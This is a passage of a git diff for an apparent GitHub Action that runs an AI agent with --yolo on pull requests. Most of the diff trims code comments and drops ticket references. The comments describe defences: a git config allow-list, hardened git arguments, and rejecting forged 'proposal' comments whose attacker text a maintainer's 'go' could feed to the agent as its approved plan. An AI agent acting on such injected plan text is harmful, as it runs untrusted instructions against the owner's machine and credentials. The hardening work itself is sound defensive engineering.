reinstate the + * hole on exactly the machines where it matters, so the caller skips the + * commit instead. */ export function trustedGitPath({ candidates = ["/usr/bin/git", "/bin/git"], exists, canWrite } = {}) { return candidates.find((p) => exists(p) && !canWrite(p)) @@ -386,14 +367,12 @@ export function trustedGitPath({ candidates = ["/usr/bin/git", "/bin/git"], exis * * An ALLOW list, not a deny list. Config is where git keeps every "run this * program for me" hook it has — credential helpers, clean filters, textconv, - * ssh commands, pagers — plus `insteadOf`, which rewrites any URL including - * one given on the command line. Listing the dangerous keys means losing to - * the next key git adds; listing the expected ones means a key we have never - * heard of is refused by default, which is the right way round. + * ssh commands, pagers — plus `insteadOf`, which rewrites any URL. Listing + * the dangerous keys loses to the next key git adds; listing the expected + * ones refuses anything we have never heard of. * * `.gitattributes` is deliberately absent: it only names a filter, and the - * command a filter runs comes from `filter..*` in config, which is not - * on this list. + * command a filter runs comes from `filter..*` in config. */ const EXPECTED_CONFIG = [ /^core\.(repositoryformatversion|filemode|bare|logallrefupdates|symlinks|ignorecase|precomposeunicode|quotepath|autocrlf|safecrlf|sparsecheckout|sparsecheckoutcone)$/, @@ -414,21 +393,20 @@ const EXPECTED_CONFIG = [ * `--local` is load-bearing: a bare `git config --list` also includes config * given on the command line with `-c`, which is where all of GIT_SAFE_ARGS * lives. Without it the check reads our own hardening back and calls it - * tampering — live run 41049398591 refused to save, listing fifteen keys we - * had passed ourselves. + * tampering. * * Worktree config needs no separate read: turning it on requires - * `extensions.worktreeConfig` in the local file, which is not an expected key, - * so a repository using it is refused by this same check. + * `extensions.worktreeConfig` in the local file, which is not an expected + * key, so a repository using it is refused by this same check. */ /** - * Did the agent commit something itself? — review of #3101, M7. + * Did the agent commit something itself? * - * We push `HEAD`, so anything the agent committed rides along: edits to - * source, to lockfiles, to `.github/`, none of it filtered by splitPushable - * — and a workflow-file change makes the whole push fail with a permissions - * error nobody can read. The run's own commit is made by us, after this - * check, so a HEAD that moved during the run was not us. + * We push `HEAD`, so anything the agent committed rides along — edits to + * source, lockfiles or `.github/`, none of it filtered by splitPushable, and + * a workflow-file change fails the whole push with an unreadable permissions + * error. Our own commit is made after this check, so a HEAD that moved during + * the run was not us. * * Fails CLOSED. Not knowing where HEAD started is not permission to push. */ @@ -472,7 +450,7 @@ export const GIT_SAFE_ARGS = Object.freeze([ "credential.helper=", "-c", "core.askPass=", - // https only, so an ext:: or a local path in a rewritten URL cannot run. + // https only, so an ext: or a local path in a rewritten URL cannot run. "-c", "protocol.allow=never", "-c", diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index 91e9e6a..517954e 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -1,5 +1,5 @@ /** - * What the run leaves behind — STM-3663 FR-27, FR-29. + * What the run leaves behind. * * Only the rendering and the decisions live here, with no network calls, so the * awkward parts are testable without a runner: whether a preview run is marked @@ -21,19 +21,18 @@ const withMark = (outcome) => { } /** - * How a later run finds the comment it wrote earlier — FR-29 wants ONE comment, - * edited in place, not a new one per run. An HTML comment so a reader never - * sees it. + * How a later run finds the comment it wrote earlier: ONE comment, edited in + * place, not a new one per run. An HTML comment so a reader never sees it. */ /** - * Is this comment one WE wrote? — review of #3101, M2. + * Is this comment one WE wrote? * - * "Any bot" was the old answer, and it was not good enough. Another App on - * the repository, or `github-actions[bot]` driven by any other workflow in - * it, could post a comment carrying our proposal marker. A maintainer's `go` - * then fed that body to a live `--yolo` run as the approved plan — no write - * access needed, just a workflow, and plenty of repositories run one on a - * fork's pull request. + * "Any bot" is not good enough. Another App on the repository, or + * `github-actions[bot]` driven by any other workflow, could post a comment + * carrying our proposal marker — and a maintainer's `go` would then feed that + * body to a live `--yolo` run as the approved plan. No write access needed, + * just a workflow, and plenty of repositories run one on a fork's pull + * request. * * Fails CLOSED: with no login to compare against, nothing is ours. The worst * case is proposing again; the alternative is running someone else's text. @@ -45,15 +44,14 @@ export const COMMENT_MARKER = "" const previewRun = (summary) => summary?.preview === "true" /** - * What the run produced, in the words a reviewer actually wants — FR-27. + * What the run produced, in the words a reviewer actually wants. * - * Returns nothing for a run that generates no cases (rca, fix, verdict): a row - * reading "0 generated" on one of those looks like something went wrong. + * Returns nothing for a run that generates no cases (rca, fix, verdict): a + * row reading "0 generated" on one of those looks like something went wrong. * - * The case that matters most is cases generated and NONE saved. Left to a bare + * The case that matters most is cases generated and NONE saved. As a bare * pair of numbers, "12 generated · 0 saved" reads as success to a skimming - * reader, which is the exact failure this whole feature exists to prevent — a - * real run produced 27 cases, reported "Succeeded", and lost all of them. + * reader — a run can produce 27 cases, report "Succeeded", and lose them all. */ function producedLines(summary, resultArtifact) { const generated = Number(summary.cases_generated ?? 0) @@ -78,7 +76,7 @@ function producedLines(summary, resultArtifact) { } /** - * How many failing tests the report names before it stops — FR-28. + * How many failing tests the report names before it stops. * * A suite that loses a hundred tests turns the check into a wall of text * nobody reads. The first few plus a count is more useful than all of them, @@ -90,20 +88,14 @@ const FAILURES_LISTED = 20 * Make text that came from outside safe to put in our own comment. * * The answer and the failing-test names are the only parts of the comment - * this Action did not write: agent prose quoting build logs and repository - * files, and test names out of the run's report. On a fork's pull request all - * of it is attacker-influenceable, and even without malice a log line can - * happen to contain one of our markers. - * - * Markers are how a later run finds this comment and how a proposal's state - * is tracked, and they are HTML comments — so one arriving inside borrowed + * this Action did not write. On a fork's pull request both are + * attacker-influenceable, and even without malice a log line can contain one + * of our markers — which are HTML comments, so one arriving inside borrowed * text is read back as our own control data. * * Only the OPENING delimiter needs breaking; without it `-->` is three - * characters of prose. `<!--` still reads as `` } /** - * The ONE pattern for a proposal marker, because the two readers have now - * drifted twice. - * - * findProposal learned about `workflow=`; findSupersededProposal, 200 lines - * away, did not — its pattern still required ` -->` right after the optional - * `by=`, so it matched no marker this branch writes and the "your plan is - * stale" reply silently died back to "No @test-companion mention", which is - * the exact failure it was written to fix. + * The ONE pattern for a proposal marker. Several readers need it, and when + * there were several patterns they drifted. * * Groups: 1 = requester, 2 = workflow. Both optional, so markers written * before either field existed stay readable. * - * ONE LITERAL pattern, with the sha captured rather than interpolated. - * - * It used to be built per-search from the sha, which meant the sha had to be - * regex-escaped or it would quietly match OTHER commits — `a.c*d+` also finds - * `abcccd`, so a plan for one commit could be approved against another. The - * escaping was correct, but it was a rule every caller had to remember. - * - * Comparing captured text with `===` removes the rule instead of restating - * it: there is nothing to escape, nothing to get wrong, and no pattern built - * from input (which is also what Semgrep was pointing at — - * browserstack/github-actions#91, findings 9 and 12). + * LITERAL, with the sha captured rather than interpolated. Built per-search + * from the sha, it would have to be regex-escaped or it would quietly match + * OTHER commits — `a.c*d+` also finds `abcccd`, so a plan for one commit + * could be approved against another. Comparing captured text with `===` + * removes the rule instead of restating it. */ const MARKER = // @@ -464,21 +440,20 @@ const readMarker = (body) => { } /** - * The commit a check we already posted belongs to — review of #3101, B1. + * The commit a check we already posted belongs to. * - * The "in progress" check goes up BEFORE the CLI runs, so the run can be - * cancelled while it is going, and it is posted on the PULL REQUEST's head. Anything - * that finishes the run afterwards has to complete THAT check, on THAT - * commit. Reaching for the event's own sha instead is wrong on a comment run, - * where GITHUB_SHA is the default branch's commit: the second check lands on - * main and the pull request's one stays pending for ever. + * The "in progress" check goes up BEFORE the CLI runs, on the PULL REQUEST's + * head, so anything finishing the run afterwards has to complete THAT check + * on THAT commit. Reaching for the event's own sha is wrong on a comment run, + * where GITHUB_SHA is the default branch's: the second check lands on main + * and the pull request's stays pending for ever. */ export function checkSubjectFor(made, fallbackSha) { for (const sha of made?.keys?.() ?? []) return sha return fallbackSha } -/** The proposal comment: what the run would do, and how to let it — FR-43. */ +/** The proposal comment: what the run would do, and how to let it. */ export function renderProposal(body, sha, requester, workflow) { return [ body, @@ -490,17 +465,14 @@ export function renderProposal(body, sha, requester, workflow) { } /** - * Has the plan for THIS commit already been used, and how? + * Has the plan for this commit already been used, and how? * - * Found by the live run that verified the consumed marker. A second `go` was - * correctly not re-run, but the reply said "that plan was for an earlier - * commit" — because with nothing waiting the caller reaches for a superseded - * proposal, and an older one from before the branch moved was still in the - * thread. The commit had not changed; the plan had been approved and run. + * Distinguishes "used up" from "proposed against an earlier commit": with + * nothing waiting, the caller would otherwise reach for a superseded proposal + * still in the thread and report the wrong reason. * - * Returns "approved" or "dropped" so the reply can say which, or undefined - * when the plan on this commit has not been used at all and the superseded - * reading is the right one after all. + * Returns "approved", "dropped", or undefined when the superseded reading is + * the right one after all. */ export function proposalAlreadyUsed(comments, sha, us, workflow) { const want = String(sha ?? "").trim() @@ -531,7 +503,7 @@ export function findProposal(comments, sha, now = Date.now(), us, opts = {}) { // by the sweep. Checked before anything else, so neither a second `go` nor // the sweep can act on a plan that is already finished with. // - // PER JOB, not per commit (STM-5434 demo feedback, item 5). A plan a + // PER JOB, not per commit. A plan a // marker does not name is still waiting, however many OTHER plans on this // commit have been used up. const spent = spentPlans(comments, us).filter((m) => m.sha === want) @@ -540,8 +512,8 @@ export function findProposal(comments, sha, now = Date.now(), us, opts = {}) { let ours = (comments ?? []).filter((c) => isOurs(c, us) && readMarker(c.body)?.sha === want) ours = ours.filter((c) => !spentJobs.has(readMarker(c.body)?.workflow ?? "")) - // `go #1234` names ONE plan. With two waiting there is otherwise nothing in - // what was typed that picks between them, and the newest wins by default — + // `go ` names ONE plan. With two waiting there is otherwise nothing in + // what was typed that picks between them, and the newest wins by default // fine when there is one, a coin toss when there are two. const named = String(opts?.id ?? "").trim() if (named) ours = ours.filter((c) => String(c.id) === named) @@ -558,24 +530,24 @@ export function findProposal(comments, sha, now = Date.now(), us, opts = {}) { // The job the person actually read and approved. Undefined on a // proposal written before the marker carried one. workflow: mark?.workflow, - // The run has to READ the approved plan to carry it out (FR-43), so the + // The run has to READ the approved plan to carry it out, so the // body travels with the decision rather than being fetched again. body: newest.body ?? "", } } /** - * The plan an approved run must carry out — FR-43. + * The plan an approved run must carry out. * - * FR-43 allows a reply of "go" WITH OR WITHOUT edits to the case list, and the - * edits win: someone looked at the proposal and changed it before approving. + * A reply of "go" may carry edits to the case list, and the edits win: + * someone looked at the proposal and changed it before approving. * Handing the run only the original proposal would quietly discard that. * * The proposal's own marker is stripped. It is bookkeeping, and leaving it in * invites the run to read it as an instruction. */ /** - * Did the approver change anything, or just say go? — FR-43. + * Did the approver change anything, or just say go? * * Worth knowing separately from the plan itself: edits made at approval time * were reviewed by nobody but the approver, and on a self-approved run by @@ -586,9 +558,9 @@ export function hasApproverEdits(replyText) { const reply = String(replyText ?? "").trim() if (!reply) return false // A bare approval is not an edit, and neither is one that names WHICH plan - // — `go #1234`. Presenting either as an edit would have the run looking for + // `go `. Presenting either as an edit would have the run looking for // an instruction nobody gave, and renderApprovedPlan would hand the agent - // the comment id itself under "these win" (STM-5434 review, PR #3286). + // the comment id itself under "these win". return !isApprovalOnly(reply) } @@ -606,18 +578,18 @@ export function renderApprovedPlan(proposalBody, replyText) { } /** - * How a dropped proposal is remembered — FR-44. + * How a dropped proposal is remembered. * * The sweep that drops proposals runs nightly. Without a record, it would post * a fresh "Action required" check and a fresh comment on the same dead proposal * every night for as long as the pull request stayed open. */ /** - * A proposal has been APPROVED and run — review of #3101, M5. + * A proposal has been APPROVED and run. * - * Approving left no trace, so the proposal stayed "waiting" after it had - * already been carried out: a second `go` ran the job again, and a day later - * the sweep told the person their approved plan had gone unanswered. + * Without this record the proposal stays "waiting" after it has been carried + * out: a second `go` runs the job again, and the sweep later reports the + * approved plan as unanswered. * * Separate from the dropped marker because they are different events and the * reply text differs, but both mean the same thing here — this plan is spent. @@ -631,11 +603,11 @@ export function proposalDroppedMarkerFor(sha, workflow) { } /** - * The JOB travels with a spent plan too — STM-5434 demo feedback, item 5. + * The job travels with a spent plan too. * - * Keyed on the commit alone, one approval finished off every plan on that - * commit: approving `fix` meant a waiting `generate` plan could not be - * approved at all until somebody pushed. Hit twice during testing. + * Keyed on the commit alone, one approval would finish off every plan on that + * commit: approving `fix` would leave a waiting `generate` plan unapprovable + * until somebody pushed. */ function jobField(workflow) { const job = String(workflow ?? "").trim() @@ -645,13 +617,12 @@ function jobField(workflow) { /** * Every record in this thread of a plan being finished with, and what for. * - * ONE pattern, matching both kinds, for the same reason MARKER is one pattern: - * the readers drifted twice when there were several. + * ONE pattern matching both kinds, for the same reason MARKER is one. * * `workflow=` is absent on markers written before the job was recorded. Those - * mean the whole commit — which is what they meant when they were written. - * Reading them as "no particular job" would let an upgrade re-run work - * somebody had already approved, so they keep their old, wider meaning. + * mean the whole commit, which is what they meant when written — reading them + * as "no particular job" would let an upgrade re-run work somebody had + * already approved. */ const SPENT_MARKER = //g @@ -667,14 +638,12 @@ function spentPlans(comments, us) { } /** - * Is there a proposal on this commit that has run out of time and not yet been - * dropped? — FR-44. + * Is there a proposal on this commit that has run out of time and not yet + * been dropped? * - * This exists because FR-44's in-progress check is only safe if something is - * guaranteed to end it. A proposal nobody answers would otherwise leave the - * check on "in progress" forever, and anyone who made it a required check is - * then blocked by a check that never resolves — the exact failure Release 2 - * avoided by posting the tick at the end of a run rather than the start. + * An in-progress check is only safe if something is guaranteed to end it. A + * proposal nobody answers would otherwise leave the check on "in progress" + * forever, blocking anyone who made it required. */ export function proposalNeedsDropping(comments, sha, now = Date.now(), us) { // findProposal already leaves out anything dropped or approved, per job, so @@ -686,19 +655,19 @@ export function proposalNeedsDropping(comments, sha, now = Date.now(), us) { } /** - * The items out of a `gh api --paginate --slurp` response — FR-29. + * The items out of a `gh api --paginate --slurp` response. * * `--slurp` returns an ARRAY OF PAGES, not a flat array of items, and it wraps * even when there is only one page. Verified against gh 2.91.0: twelve pages at * per_page=2, and still `[[...]]` at per_page=100. * * Without this, chooseCommentAction is handed an array of arrays, matches - * nothing, returns "create" every time, and every run posts a NEW comment — - * the single-comment guarantee in FR-29, broken by the fix meant to protect it. + * nothing, returns "create" every time, and every run posts a NEW comment + * the single-comment guarantee in, broken by the fix meant to protect it. * `--slurp` was added to stop `[...][...]` from failing JSON.parse, which it * does; the shape it produces instead was the part that got missed. * - * Objects are not arrays, so flat() leaves an already-flat list alone. That + * Objects are not arrays, so flat leaves an already-flat list alone. That * keeps this correct if gh ever changes its mind. */ export function flattenPages(slurped) { @@ -706,7 +675,7 @@ export function flattenPages(slurped) { } /** - * The accessibility and visual lines on the check — STM-5434 FR-45. + * The accessibility and visual lines on the check. * * Both are silent unless the settings asked for them, and both read their * numbers from the run's summary file. Those keys — accessibility_new, @@ -747,7 +716,7 @@ export function renderExtraChecks(summary = {}, { wcag, visual } = {}) { } /** - * May accessibility turn the check red? — FR-45. + * May accessibility turn the check red? * * Only when the settings say so, and only for violations THIS CHANGE * introduced. Failing a pull request for the state of a page it never touched @@ -763,7 +732,7 @@ export function accessibilityFailsCheck(summary = {}, { wcag, failOnNew } = {}) } /** - * The body of a proposal — FR-38, FR-43. + * The body of a proposal. * * The first live run posted a proposal containing only a report header. The * run had designed nine test cases and verified each one by probing the @@ -776,7 +745,7 @@ export function accessibilityFailsCheck(summary = {}, { wcag, failOnNew } = {}) */ export function renderProposalBody({ summary, plan, sizeNote } = {}) { const parts = [] - // FR-44's warning goes above the list, where it can still change what the + // warning goes above the list, where it can still change what the // reviewer approves. if (String(sizeNote ?? "").trim()) parts.push(sizeNote, "") if (String(summary ?? "").trim()) parts.push(summary, "") @@ -794,7 +763,7 @@ export function renderProposalBody({ summary, plan, sizeNote } = {}) { .trim() const alreadyAbove = body !== "" && squash(summary).includes(squash(body)) // Only `test-pr` writes a separate plan file. For every other job the - // proposal run is a PREVIEW run — it does the work and writes nothing — + // proposal run is a PREVIEW run — it does the work and writes nothing // so its report above IS what is being approved. Saying "there is nothing // here to approve" told the reader to re-run something that had worked. const noPlan = String(summary ?? "").trim() @@ -805,9 +774,9 @@ export function renderProposalBody({ summary, plan, sizeNote } = {}) { } /** - * A proposal on this pull request that a newer commit has left behind — FR-44. + * A proposal on this pull request that a newer commit has left behind. * - * FR-44 keys a proposal to a commit, so a new commit silently replaces it. + * keys a proposal to a commit, so a new commit silently replaces it. * That is the right safety behaviour: a plan written against code that has * since changed must never be carried out. But silence is the wrong way to * say it. @@ -837,15 +806,15 @@ export function findSupersededProposal(comments, sha, us) { } /** - * Create the "Test Companion" check, or update the one this run already made — - * FR-48, "one check, never neutral". + * Create the "Test Companion" check, or update the one this run already made + * , "one check, never neutral". * * Every call used to POST. A single run posts up to three times — in progress * before the work, the result after it, and the catch-all on a crash — so a * pull request collected two or three checks of the same name, and a proposal * left ITS in-progress one pending forever because nothing ever completed it. * That is the "blocked by a check that never arrives" failure the design is - * meant to avoid. Reported in review of PR #3101. + * meant to avoid. * * Keyed by commit: a run can legitimately check two (the head early on, and * whatever the report names later), and those are different checks, not an diff --git a/test-companion/src/runs.mjs b/test-companion/src/runs.mjs index 26d8945..afa3f1c 100644 --- a/test-companion/src/runs.mjs +++ b/test-companion/src/runs.mjs @@ -1,21 +1,15 @@ /** - * Which runs a closed pull request should end — STM-5434 FR-36. + * Which runs a closed pull request should end. * - * Written for `stop`, which was removed (item 7). Closing a pull request - * without merging still cancels its run, and that is the same question. + * Pure, and separated from the `gh` calls in main.mjs so it can be tested + * without staging a live run. * - * Pure, and separated from the `gh` calls in main.mjs for the usual reason: the - * only other way to exercise it is to start a run, comment on it and watch, and - * the interesting cases here are the ones that are awkward to stage on purpose. + * Two cases that are silent when they go wrong: * - * Two of those cases are worth stating out loud, because both are silent when - * they go wrong: - * - * - The run handling the "stop" comment is ITSELF an in-flight run on that - * commit. Cancel it and the job doing the cancelling disappears mid-reply, - * so the person who asked is told nothing at all. - * - "Stop" means stop Test Companion, not stop the repository's own build. A - * comment must never become a way to cancel someone else's CI. + * - The run doing the cancelling is ITSELF in flight on that commit. Cancel + * it and the job disappears mid-reply, telling the person nothing. + * - Cancelling means cancelling Test Companion, never the repository's own + * build. A comment must not become a way to stop someone else's CI. */ /** A run GitHub has not finished with yet. */ @@ -41,23 +35,16 @@ export function chooseRunsToCancel(runs, { selfRunId, headSha, workflowName } = } /** - * Our in-flight run ids, from the check runs on a commit — FR-36. - * - * Replaces asking GitHub for `actions/runs?head_sha=`. - * That query cannot work for this feature: a run started by an ISSUE_COMMENT - * carries the DEFAULT BRANCH's sha, because that is what GitHub checks out for - * that event. So it matched nothing, every time — `stop` answered "nothing is - * running" with a run plainly in flight, and closing a pull request did not - * stop its run either. + * Our in-flight run ids, from the check runs on a commit. * - * A run's own `pull_requests` field looks like the answer and is not: on an - * issue_comment run it reports the pull request whose HEAD is the checked-out - * branch, which is a different pull request. Observed live: a run for #22 - * reporting number 18. + * Neither obvious route works. `actions/runs?head_sha=` misses every time, + * because a run started by an issue_comment carries the DEFAULT BRANCH's sha. + * A run's own `pull_requests` field reports the pull request whose head is the + * checked-out branch, which is a different pull request. * - * The check run is the handle that actually holds. It is posted on the pull - * request's own head commit, it carries the run id in `external_id`, and - * nothing else writes a check by this name. + * The check run is the handle that holds: posted on the pull request's own + * head commit, carrying the run id in `external_id`, and written by nothing + * else under this name. * * `selfRunId` is GITHUB_RUN_ID, a string here and a number from the API, so * both sides are compared as strings. @@ -84,17 +71,15 @@ const RED = new Set(["failure", "cancelled", "timed_out", "startup_failure"]) * The build a comment means by "the failure" — the newest red run on this * commit, or nothing. * - * `rca`, `fix` and `verdict` all need to know WHICH build failed. On a - * build_failed trigger GitHub hands us the run and plan-run.mjs passes - * `run.html_url` straight through; from a COMMENT nobody hands us one, so all - * three failed on the first comment with "Could not run" — while CAPABILITIES - * advertises them by name and renderUnknownRequest offers them as suggestions. + * `rca`, `fix` and `verdict` all need to know WHICH build failed. A + * build_failed trigger hands us the run; a comment does not, so it is found + * here. * - * Returns the run's own URL, which is the shape `--build` and `--run` accept + * Returns the run's own URL, the shape `--build` and `--run` accept * (`https://github.com///actions/runs/`). * - * Two runs are never the answer. Ours, because explaining our own failure is a - * mirror rather than an answer; and the one asking, which has not finished. + * Two runs are never the answer: ours, because explaining our own failure is + * a mirror rather than an answer, and the one asking, which has not finished. */ export function latestFailedRun(runs, { selfRunId, selfWorkflowName } = {}) { const red = (runs ?? []).filter( diff --git a/test-companion/src/starter.mjs b/test-companion/src/starter.mjs index 1d79659..c40e800 100644 --- a/test-companion/src/starter.mjs +++ b/test-companion/src/starter.mjs @@ -1,16 +1,13 @@ /** - * The first run, when nothing is configured yet — STM-3663 FR-13. + * The first run, when nothing is configured yet. * - * Without this, installing the Action into a repository with no - * testcompanion-pipeline.yml produces a red build and the line - * `open testcompanion-pipeline.yml: no such file or directory`. That is the - * worst possible first impression: the person did nothing wrong, the build - * broke, and the message names a file they have never heard of. + * A repository with no testcompanion-pipeline.yml would otherwise get a red + * build naming a file nobody has heard of. Instead it gets a clean pass and + * the file it needs, ready to copy. * - * FR-13 asks for the opposite — a clean pass, and the file they need, ready to - * copy. Handled here rather than in the CLI because changing `tc workflow run` - * to succeed on a missing config would quietly swallow a real misconfiguration - * for every pipeline already relying on that error. + * Handled here rather than in the CLI: making `tc workflow run` succeed on a + * missing config would swallow a real misconfiguration for every pipeline + * already relying on that error. */ /** The pipeline file we hand someone who has none. */ @@ -61,7 +58,7 @@ workflows: ` /** - * The pull request that adds the starter settings file — FR-13. + * The pull request that adds the starter settings file. * * The detected framework is recorded when we can tell what it is, and left out * when we cannot — a starter naming Cypress at a Playwright shop would claim an @@ -90,12 +87,12 @@ export function renderSetupPr(configPath, framework) { } /** - * Where the pipeline file lives. + * Where the pipeline file lives: the flag, then TC_PIPELINE_CONFIG, then the + * repository root. * - * Mirrors effectiveConfigPath in cli/pkg/cli/commands/workflow.go exactly — - * flag, then TC_PIPELINE_CONFIG, then the repository root. Checking a different - * path than the CLI reads would be worse than not checking at all: the Action - * would announce "nothing is configured" to a repository that is configured. + * Mirrors the CLI's own resolution exactly. Checking a different path than + * the CLI reads would be worse than not checking: the Action would announce + * "nothing is configured" to a repository that is. */ export function pipelineConfigPath(configInput, env = {}) { const flag = (configInput ?? "").trim() @@ -126,23 +123,17 @@ export function renderNoPipelineReport(path) { } /** - * Which branch the settings file is read from — STM-5434 FR-7. + * Which branch the settings file is read from: always the default branch. * - * Read from the branch under test, a pull request can rewrite the rules for its - * own run and be obeyed: switch itself from preview to live, delete its own - * spending limit, or point its Test Management writes somewhere else. That is a - * safety problem rather than a product one, and it gets considerably easier to - * reach once a comment can start a run. + * Read from the branch under test, a pull request could rewrite the rules for + * its own run and be obeyed — switch itself from preview to live, delete its + * spending limit, or point its Test Management writes elsewhere. * - * FR-7: read from the default branch for every event, so an edit to the - * settings takes effect only after someone merges it. - * - * Note the deliberate consequence: a pull request that ADDS the settings file - * for the first time does not get picked up until it merges. That is the same - * rule, and the alternative is the hole above. + * Deliberate consequence: a pull request that ADDS the settings file for the + * first time is not picked up until it merges. */ export function settingsRef(payload = {}, env = {}) { // Guessing "main" last is safe: the worst case is "no settings file", which - // is a clean skip (FR-13), not a run obeying rules the pull request wrote. + // is a clean skip, not a run obeying rules the pull request wrote. return payload?.repository?.default_branch || env.GITHUB_DEFAULT_BRANCH || "main" } diff --git a/test-companion/src/ticket.mjs b/test-companion/src/ticket.mjs index 81cc5a5..1b5a6d3 100644 --- a/test-companion/src/ticket.mjs +++ b/test-companion/src/ticket.mjs @@ -1,10 +1,9 @@ /** - * The ticket this change is for — STM-5434 FR-37. + * The ticket this change is for. * - * FR-37 wants the run to test against what the ticket actually asks for, not - * only what the diff does, so finding the key is the first step. People put it - * in the branch name far more often than anywhere else, but the title is where - * they correct it. + * A run tests against what the ticket asks for, not only what the diff does, + * so finding the key comes first. People put it in the branch name far more + * often than anywhere else, but the title is where they correct it. * * Pure: three strings in, a key or nothing out. */ @@ -12,23 +11,21 @@ /** * A Jira-style key: a project of two or more letters, a hyphen, a number. * - * The lookarounds matter, and each guards a different mistake: - * (? { +describe("mayAsk", () => { test("write access is enough when no team is named", () => { assert.equal(mayAsk({ hasWriteAccess: true }), true) }) @@ -12,7 +12,7 @@ describe("mayAsk — FR-33", () => { }) /** - * FR-33: the pipeline file "MAY narrow this to a named team and SHALL NOT + * the pipeline file "MAY narrow this to a named team and SHALL NOT * widen it". Being on the team is never a way IN for someone who cannot * write to the repository — a run executes an agent with --yolo against the * customer's own machine and credentials. @@ -44,7 +44,7 @@ describe("mayAsk — FR-33", () => { import { describeTestRepoAccess } from "../src/access.mjs" -describe("describeTestRepoAccess — FR-42", () => { +describe("describeTestRepoAccess", () => { test("no separate repository means this one, which always works", () => { assert.equal(describeTestRepoAccess({ thisRepo: "acme/shop" }).ok, true) assert.equal(describeTestRepoAccess({ testsRepo: "acme/shop", thisRepo: "acme/shop" }).ok, true) @@ -55,8 +55,8 @@ describe("describeTestRepoAccess — FR-42", () => { }) /** - * FR-42: "without either, the run SHALL write nothing there and the summary - * SHALL say which is missing." Naming what is missing is the requirement — + * "without either, the run SHALL write nothing there and the summary + * SHALL say which is missing." Naming what is missing is the requirement * a bare "permission denied" halfway through a run leaves someone guessing * between the App and a token. */ diff --git a/test-companion/test/action-yml.test.mjs b/test-companion/test/action-yml.test.mjs index c615c89..4fda372 100644 --- a/test-companion/test/action-yml.test.mjs +++ b/test-companion/test/action-yml.test.mjs @@ -10,7 +10,7 @@ const actionYml = readFileSync(join(dirname(fileURLToPath(import.meta.url)), ".. const steps = actionYml.split(/\n {8}- name: /).slice(1) const nameOf = (s) => s.split("\n")[0].trim() -describe("action.yml — every step that runs tc must pin it (FR-2)", () => { +describe("action.yml — every step that runs tc must pin it", () => { /** * Found live on 2026-10-29, the day tc 1.1.9 shipped. * @@ -19,10 +19,10 @@ describe("action.yml — every step that runs tc must pin it (FR-2)", () => { * correctly reported a mismatch against the very binary the pin existed to * preserve: * - * tc is pinned to version 1.1.8 but the installed binary is 1.1.9 + * tc is pinned to version 1.1.8 but the installed binary is 1.1.9 * * So asking for a pinned version MADE THE RUN FAIL, which is the exact - * opposite of what FR-2 promises. The spec lists FR-2 as "Done, but NEVER + * opposite of what promises. The spec lists as "Done, but NEVER * EXECUTED"; this is what was hiding in it. * * `tc --version` is exempt: upgrade.shouldSkip returns true for it, because @@ -81,7 +81,7 @@ describe("action.yml — git's credential helper is cleaned up", () => { // `--unset` WITH A VALUE PATTERN, not `--unset-all`. The blanket form // removed every helper for that URL, including ones the runner's owner // set up before us, and ran even when our own setup-git had failed - // (STM-5434 review, PR #3286). + // assert.match( actionYml, /--unset "credential:\/\/\$host\.helper"|--unset "credential\.https:\/\/\$host\.helper"/, @@ -104,7 +104,7 @@ describe("action.yml — git's credential helper is cleaned up", () => { }) /** - * STM-5434 review (kritansh20, PR #3286). The cleanup must not damage a + * (kritansh20, ). The cleanup must not damage a * self-hosted runner's own git configuration. */ describe("action.yml — the cleanup only removes what this job added", () => { @@ -122,7 +122,7 @@ describe("action.yml — the cleanup only removes what this job added", () => { }) /** - * CodeRabbit, PR #3286. `gh auth setup-git` writes TWO values per host: an + * `gh auth setup-git` writes TWO values per host: an * empty helper that clears any general helper inherited from a broader scope, * and then its own. Removing only the second leaves the runner's own helper * disabled for that host. diff --git a/test-companion/test/annotations.test.mjs b/test-companion/test/annotations.test.mjs index e76e8bf..be4477f 100644 --- a/test-companion/test/annotations.test.mjs +++ b/test-companion/test/annotations.test.mjs @@ -43,7 +43,7 @@ describe("parseFailedTests — reading the report back", () => { }) }) -describe("buildAnnotations — FR-28, FR-48", () => { +describe("buildAnnotations", () => { test("puts a failure on the line the test is declared on", () => { const [a] = buildAnnotations([{ name: "Checkout > pays", file: "tests/checkout.spec.ts", line: 18 }]) assert.equal(a.path, "tests/checkout.spec.ts") diff --git a/test-companion/test/answer.test.mjs b/test-companion/test/answer.test.mjs index 2339ae1..50c34b5 100644 --- a/test-companion/test/answer.test.mjs +++ b/test-companion/test/answer.test.mjs @@ -151,14 +151,14 @@ describe("runCapturingAnswer", () => { assert.equal(r.answer, "tests are still red") }) - // A long answer arrives in many pipe-sized pieces, split anywhere — + // A long answer arrives in many pipe-sized pieces, split anywhere // including through a multi-byte character. test("an answer larger than the pipe buffer survives being split up", async () => { // The child BUILDS the payload; it is not passed in as an argument. // Linux caps a single argv entry at 128KB (MAX_ARG_STRLEN) however // large ARG_MAX is, so embedding 180KB of text here spawned fine on // macOS and failed with E2BIG on every Linux runner — which is where - // CI runs. Caught by this test's first trip through CI, on PR #3286. + // CI runs. Caught by this test's first trip through CI, on. const text = "— ".repeat(60_000) + "END" const [cmd, args] = fake( `const t = "— ".repeat(60000) + "END"; process.stdout.write(JSON.stringify({event:"answer",text:t})+"\\n")`, diff --git a/test-companion/test/app-auth.test.mjs b/test-companion/test/app-auth.test.mjs index 1007d01..1d99050 100644 --- a/test-companion/test/app-auth.test.mjs +++ b/test-companion/test/app-auth.test.mjs @@ -71,9 +71,9 @@ describe("signJwt — Release 4", () => { }) }) -describe("installationTokenRequest — FR-4", () => { +describe("installationTokenRequest", () => { /** - * FR-4: the Action uses the App's identity "FOR THAT REPO ONLY". An + * the Action uses the App's identity "FOR THAT REPO ONLY". An * installation token minted with no body carries every permission the * installation holds, across every repository it covers — so a run in one * repository would hold write access to all of an organisation's. diff --git a/test-companion/test/approval-targeting.test.mjs b/test-companion/test/approval-targeting.test.mjs index 09b89cf..9ea4809 100644 --- a/test-companion/test/approval-targeting.test.mjs +++ b/test-companion/test/approval-targeting.test.mjs @@ -16,14 +16,13 @@ import { import { OUTCOMES } from "../src/outcome.mjs" /** - * "go" should say which request it is answering — STM-5434 demo feedback, - * item 5. + * "go" should say which request it is answering. * * Two problems, one cause: the approval machinery was keyed on the COMMIT and * nothing else. With two plans waiting there was nothing in what you typed to * pick one, and the record of which plans had been used could not tell two * jobs apart — so approving one blocked approving any other on that commit - * until somebody pushed. Hit twice during testing. + * until 